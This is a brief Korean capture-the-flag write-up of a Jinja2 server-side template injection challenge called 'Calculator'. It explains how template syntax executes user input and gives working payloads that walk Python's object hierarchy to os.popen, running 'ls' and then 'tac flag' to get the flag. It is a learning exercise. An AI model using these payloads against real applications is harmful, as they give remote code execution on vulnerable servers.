Calculator

위 그림 참고해서 SSTI 취약점을 확인해보자

SSTI Example

jinja2 엔진을 사용한다. SSTI는 엔진에 맞는 라이트업을 찾아보았다.

참고자료 정리는 접은 글
SSTI Reference

SSTI
템플릿을 사용하여 웹 어플리케이션을 구동
-> 이때 user input이 템플릿 구문으로 인식되면 RCE까지 이어질 수 있는 취약점

템플릿이 여러개라서 문제마다 구문이 다름 보통은 {{4*4}}이던데 이 문제는 대괄호 [[...]] 구문은 값을 출력해줌 %나 #을 이요해서 주석, 반복문 등으로도 구문 삽입 가능

아래서 "".__class__에 접근할 건데 이게 뭐냐면 python 특수 attributes중에 하나 아래서는 클래스의 __base__를 참조했는데 class object에 접근
그리고 그걸 다시 subclasses()로 받으면 object의 서브 클래스 목록을 출력받을 수 있다
이중에서 원하는 클래스 끌어다가 RCE 가능

보통은 109 index 값 가져와서 popen으로 명령어 실행
109 index는 codecs.IncrementalDecoder

[[ "".__class__.__base__.__subclasses__()[109].__init__.__globals__['sys'].modules['os'].popen('ls').read() ]]

Command Execution

[[ "".__class__.__base__.__subclasses__()[109].__init__.__globals__['sys'].modules['os'].popen('tac flag').read() ]]

Flag Retrieval

이렇게 하면 flag가 나온다.